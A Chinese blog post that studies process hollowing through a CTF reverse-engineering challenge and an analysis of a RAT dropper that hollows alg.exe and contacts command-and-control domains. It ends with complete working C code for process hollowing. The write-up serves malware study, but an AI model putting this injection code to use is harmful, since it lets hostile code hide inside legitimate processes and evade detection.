傀儡程序學習

2020-10-07 13:00:16

0x00 前言

 最近做了一道18年swpuctf的題,分析了一個病毒,正巧都用到了傀儡程序,就想著把傀儡程序學習一下。本文權當個人的學習總結了一些網上的文章,如有錯誤,還請路過的大佬斧正。

0x01 SWPUCTF -- GAME

進入main函數

先獲取當前目錄,再拼上GAME.EXE

進入sub_4011D0

首先尋找資源,做準備工作,進入sub_4012C0

 

1)檢測PE結構

2) CreateProcessA 建立程序

3)GetThreadContext 得到程序上下文資訊,用於下文計算基地址

4)sub_4016F0

到ntdll.dll裡找到NtUnmapViewOfSection函數

5)VirtualAllocEx 跨程序,在目標程序申請空間

6)寫入檔案

7)SetThreadContext 恢復現場

8) 執行傀儡程序

 

我們來找找注入的程式

把GAME.EXE載入到010editor裡,搜尋"MZ"

dump出來,就是剛剛注入到傀儡程序的程式了。

我們把它命名為 game2.exe

載到IDA裡分析

發現是D3D繪製

之後的解題與本文關係不大,這裡直接把官方的WP搬運來了https://www.anquanke.com/post/id/168338

 

通過字串[Enter]可以跟蹤到獲取輸入以及返回上一層的地

 

這裡用了’ – ’符來分割string,然後儲存到vector中。並且判斷vector中string的個數是否是4以及每一個string的長度是否是4 

 

接著傳入前面兩部分進行一次加密,可以根據常數識別出這是DES演演算法,這裡把DES的subkeys進行了一次移位,並且修改了sbox3開頭的5個位元組,然後把結尾結果減去0x10,之後再進行一個簡單的方程check。解方程可以得到另外兩部分是個常數。

DES部分可以網上找個標準的DES把這幾部分改一下就能解出FLAG:HOPE-UCAN-GOOD-GAME

 小結

本題的sub_4012C0,就是在進行傀儡程序的編寫,有必要仔細的說說傀儡程序

 

 0x02 傀儡程序

文章: https://blog.csdn.net/darcy_123/article/details/102532411

 首先使用CreateProcess傳入CREATE_SUSPENDED

建立一個掛起的程序,以下稱為傀儡程序,然後使用GetThreadContext讀取傀儡程序的上下文資訊,通過DWORD

指標指向CONTEXT的EBX,DWORD + 8 位元組可以讀取到傀儡程序的基地址,然後計算傀儡程序的映象大小

然後把自己的資料讀入到傀儡程序內,設定CONTEXT上下文入口點資訊EAX,並恢復程序主執行緒

 上文已經寫得很詳細了,個人覺得重要的點

1)在CreateProcess時,注意環境問題 lpCurrentDirectory

BOOL CreateProcessA(
  LPCSTR                lpApplicationName,
  LPSTR                 lpCommandLine,
  LPSECURITY_ATTRIBUTES lpProcessAttributes,
  LPSECURITY_ATTRIBUTES lpThreadAttributes,
  BOOL                  bInheritHandles,
  DWORD                 dwCreationFlags,
  LPVOID                lpEnvironment,
  LPCSTR                lpCurrentDirectory,
  LPSTARTUPINFOA        lpStartupInfo,
  LPPROCESS_INFORMATION lpProcessInformation
);

2) 計算基地址

context.Ebx + 8 = 基地址,因此從context.Ebx + 8的地址讀取4位元組的內容並轉化為DWORD型別,即是程序載入的基地址。 

3) VirtualAllocEx時的許可權問題

4)VirtualAllocEx重定位的問題

一般情況下,在寫入傀儡程序對應的檔案按照申請空間的首地址作為基地址進行「重定位」,這樣才能保證傀儡程序的正常執行。為了避免這一步操作,可以以傀儡程序PE檔案頭部的建議載入基地址作為VirtualAllocEx的lpAddress引數,申請與之對應的記憶體空間,然後以此地址作為基地址將傀儡程序寫入目標程式,就不會存在重定位問題。關於「重定位」的原理可以自行網路查詢相關資料

 我們來看看實際上病毒用到的傀儡程序

 

0x03 病毒分析

 

 1.virusTotal

https://www.virustotal.com/gui/file/32db88982a0d0f92804c4c53ffd8555935871e23b35a9d362e037353cb6b44c5/details

MD5    ba46b18f05ab2b24df26e343dd32946b
SHA-1    34f07e131d4f147af96d262eee761582c6f0b1a4
SHA-256    32db88982a0d0f92804c4c53ffd8555935871e23b35a9d362e037353cb6b44c5
Vhash    bf09954b6ff12217cd0df0f93c7488e4
SSDEEP    24576:yij8jlUoiuFhypnWmUOJ4H0zMY/lspoBbRzRrT9MUF5jawb:yDhUoMFUcvo6FlrT2wb
File type    RAR
Magic    RAR archive data, v1d, os: Win32
File size    893.13 KB (914570 bytes)

 環境win7 x64

是一個.rar檔案

在虛擬機器器裡改字尾為.rar

解壓:

 

 可以簡單的發現一個偽裝成資料夾的.exe

2.對18XXXXXXXXXXXX.exe分析

查殼

沒有

 然後GUI,有介面的程式

用LoadPE去看一下區段,資源等資訊

看一下重定位

和資源

關注一下匯入表

    0x0311       "WriteFile"
    0x0038       "CreateFileA"
    0x005F       "DeleteFileA"
    0x0240       "ReadFile"
    0x0128       "GetFileSize"
    0x020D       "OpenFile"
    0x0298       "SetFilePointer"
    0x0048       "CreateProcessA
    0x002B       "CopyFileA"
    0x00CC       "GetACP"

可能會新建新的檔案

IDA詳細分析

先搜字串

pavfnsvr.exe

sfctlcom.exe

後來看別人的分析,這兩個檔案是安全程式

IDA開始分析

開始時,一些準備工作,之後檢測版本號

申請堆,

釋放後,把申請的堆的控制程式碼,放到40E968的位置

呼叫4057AE

檢測檔案的PE結構

主要是檢測PE結構,然後驗證目錄項要比14項多

之後回到start函數 sub_40624F

檢測的就是下圖紅框圈出來的那兩個

 之後:

 

 與SEH的高階使用有關

 

通過GetCommandLineA獲取當前檔案的路徑

"C:\Users\Administrator\Desktop\bingdu\1\bingdu\1\18xxxxxxxxxxxxxxxxxxxxxxxxxxxxx.EXE" 的地址存到了410268(00271F50)

sub_408D2C函數獲取環境資訊

 

獲取"ALLUSERSPROFILE=C:\ProgramData",

在將寬字元轉成多位元組

之後進入

 

V13為0x271fa6  ..(\洳..C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.;的指標

V6為10

 進入函數:

 

首先會獲取當前程序已載入模組的檔案的完整路徑

然後載入到緩衝區

把當前的目錄傳入402120

進入402120

 會呼叫兩次401450

看一下401450

 rep stosd:

在網上查了相關資料顯示:

/************************************************************/

lea     edi,[ebp-0C0h]

mov     ecx,30h

mov     eax,0CCCCCCCCh

rep stos dword ptr es:[edi]

rep指令的目的是重複其上面的指令.ECX的值是重複的次數.

STOS指令的作用是將eax中的值拷貝到ES:EDI指向的地址.

 

首先獲取當前的路徑

開啟檔案讀取

 

 

 獲取windows的目錄

在源目錄生成.bak檔案

生成資料夾

把檔案備份到"C:\Windows\Help\18xxxxxxxxxxxxxxxxxxxxxxxxxxxxx.bak"

在把原來的.bak刪除

進入402680 

 

首先找到生成的空資料夾

 在記憶體裡讀取檔案 1.jpg

將1.jpg和.archd作為引數進入4046A0 

 

拼出路徑

將j.jpg換成1.liz

 

按照路徑寫入檔案,再將1.liz換成1.jpg

迴圈7次生成7張圖片

 第8次,生成Thumbs.db檔案

  

 之後把C:/Windows/Help裡的備份刪除

 

 

 進入第二個401450

先找到程式獲取臨時目錄檔案路徑

然後拼出路徑

"C:\Users\ADMINI~1\AppData\Local\Temp\\rat.EXE"

 

如果存在直接開啟,不存在就建立

 之後createprocess

 建立程序,執行rat.EXE

 

 先拼出來byeyou.tmp的路徑

 

之後 遍歷所有程序,保證沒有sftlcom.exe與pavfnsur.exe

 

 把原檔案(18XXXX.EXE)移動到byeyou.tmp

 

分析 rat.exe

 

 沒有殼

 

自啟動(嫖的圖)

 

 登入檔相關(嫖的圖)

去找ctfmon.exe的目錄

拼路徑 將rat.exe  copy成ctfmon.exe

之後尋找資源

 拼出"C:\Windows\system32\alg.exe"

作為引數扔到sub_4016D0執行

進入傀儡程序函數

 

建立掛起程序 && 儲存現場,收集資訊

 之後像上述ctf一樣找到注入到傀儡程序的.exe

 Dump出來起名為abc.def

分析 abc.def

看一下字串

進入WinMain函數

首先進入sub_405BD0

先解密字串從advapt32.dl,呼叫需要的函數 

提權

之後進入 sub_401720解密接下來需要的字串

 

回到WinMain

從KERNEL32.DLL找需要的函數

 

之後進入sub_405960

 

 進入遠控函數

 

首先登入一個網站

 

 儲存返回的資料

 

 之後就沒辦法動調了

 把返回的資料按照自己定義的字元切割

 進入405DB0函數,依舊是解密

 接著分配套介面,連上

 

進入403190

 開始從.Dll裡提取需要的函數

 

1.

 

2.

 

3.

 

4.

5&6

 之後傳入域名引數

 

 

 獲得本機的ip

 能不能ping得通

 

檢測系統版本

 

 CPU資訊

 

 作業系統版本

獲取磁碟資訊

對檔案操作

建立,讀

 刪除,重新命名

 

移動

複製

列出程序 &&殺死程序

 解除安裝

 

關機重新啟動 

 

 截圖

 接著還會在傳入其他的兩個域名

 cn.fetftp.nu  "rt.softseek.org"

 

進入403190控制函數

 0x04 程式碼實現

https://blog.csdn.net/superchickenchicken/article/details/102552787?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-6.nonecase&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-6.nonecase

稍微修改了點去做別的用了

#include<stdio.h>
#include<windows.h>
#include<winbase.h>
struct _PROCESS_INFORMATION ProcessInfomation;


int main()
{
	LPVOID pAlloc1;
	LPVOID pAlloc2;
	HANDLE hfile;
	PIMAGE_NT_HEADERS pPeHeader;
	PIMAGE_SECTION_HEADER pSectionHeader;
	int lastError, ReadInfo = 0;
	DWORD BytesRead = 0;
	CONTEXT Context = { 0 };
	Context.ContextFlags = CONTEXT_ALL;
	char lpName[260];
	//準備路徑
	char Patch[] = "C:\\play.exe";//注入傀儡程序的.exe的路徑
	LPCSTR p = (const char*)Patch;
	//轉移檔案


	//以掛起的方式建立傀儡程序,並獲取程序基址
	STARTUPINFOA StartupInfo = { 0 };
	PROCESS_INFORMATION ProcessInfomation = { 0 };
	StartupInfo.cb = sizeof(StartupInfo);

	GetModuleFileName(0, lpName, 520);
	if (!CreateProcess(lpName, NULL, 0, 0, 0, CREATE_SUSPENDED, 0, 0, &StartupInfo, &ProcessInfomation))。
	{
		lastError = GetLastError();
		printf("CreateProcess fail  LastError:%d\n", lastError);
	};

	if (!GetThreadContext(ProcessInfomation.hThread, &Context))
	{
		lastError = GetLastError();
		printf("GetThreadContext fail LastError:%d\n", lastError);
	};

	if (!ReadProcessMemory(ProcessInfomation.hProcess, (LPCVOID)(Context.Ebx + 0x8), &ReadInfo, 4, 0))
	{
		lastError = GetLastError();
		printf("GetProcessImageBase fail LastError:%d\n", lastError);
		//printf("%d\n", dwIO);
	};
	printf("ProcessImageBase:address 0x%x\n", ReadInfo);

	
	// 把準備注入到傀儡程序的程式讀進記憶體
	hfile = CreateFileA(p, GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
	//lastError = GetLastError();
	//printf("%d\n", lastError);

	pAlloc1 = VirtualAlloc(NULL, 0x70000, 0x3000, 4);//sucessful
	//printf("%d", pAlloc1);
	ReadFile(hfile, pAlloc1, 0x70000, &BytesRead, 0);

	pPeHeader = (PIMAGE_NT_HEADERS)((PBYTE)pAlloc1 + ((PIMAGE_DOS_HEADER)pAlloc1)->e_lfanew);//sucessful
	//printf("%d", pPeHeader);
	pSectionHeader = (IMAGE_SECTION_HEADER*)((char*)&pPeHeader->OptionalHeader + pPeHeader->FileHeader.SizeOfOptionalHeader);//sucessful
	//printf("%d", pSectionHeader);
	//向傀儡程序申請記憶體空間
	SetLastError(0);
	pAlloc2 = VirtualAllocEx(ProcessInfomation.hProcess, (LPVOID)pPeHeader->OptionalHeader.ImageBase, pPeHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, 64);
	//printf("%d\n", pAlloc2);
	if (!pAlloc2)
	{
		lastError = GetLastError();
		printf("VirtualAllocEx fail LastError:%d\n", lastError);
		TerminateProcess(ProcessInfomation.hProcess, 0);
		return 0;

	}
	printf("AllocExBase: %x\n", pAlloc2);

	//寫入PE頭
	if (WriteProcessMemory(ProcessInfomation.hProcess, pAlloc2, pAlloc1, pPeHeader->OptionalHeader.SizeOfHeaders, 0))
	{
		printf("write PeHeader Success !\n");
	}


	//寫入節表,分節表寫入會使得程式展開在程序中
	int NumofSection = pPeHeader->FileHeader.NumberOfSections;
	for (int i = 0;i < NumofSection;i++)
	{
		LPVOID pAllocRawAddressSection = (char*)pAlloc1 + pSectionHeader->PointerToRawData;
		LPVOID pAllocVirtualAddressSection = (char*)pPeHeader->OptionalHeader.ImageBase + pSectionHeader->VirtualAddress;
		if (WriteProcessMemory(ProcessInfomation.hProcess, pAllocVirtualAddressSection, pAllocRawAddressSection, pSectionHeader->SizeOfRawData, 0))
		{
			printf("write the %d section success !\n", i + 1);
		}
		else
		{
			lastError = GetLastError();
			printf("write the %d section fail ! lastError:%d\n", i + 1, lastError);
		}
		pSectionHeader++;
	}

	//設定傀儡程序的程序基址0x400000
	if (WriteProcessMemory(ProcessInfomation.hProcess, (char*)Context.Ebx + 8, &pPeHeader->OptionalHeader.ImageBase, 4, 0))
	{
		printf("set Process ImageBase is 0x400000  success !\n");
	}

	//設定傀儡程序的程序OEP 為注入程式的OEP
	Context.Eax = pPeHeader->OptionalHeader.ImageBase + pPeHeader->OptionalHeader.AddressOfEntryPoint;//設定入口點地址 一定別忘了加基址

	if (SetThreadContext(ProcessInfomation.hThread, &Context))
	{
		printf("set Thread Context success !\n");
	}

	//恢復執行緒執行

	if (ResumeThread(ProcessInfomation.hThread) != (DWORD)-1)
	{
		lastError = GetLastError();
		printf("Resume Thread success ! \n");
	}


	system("pause");
	return 0;
}

0x04總結

emmmm不知道說啥,溜了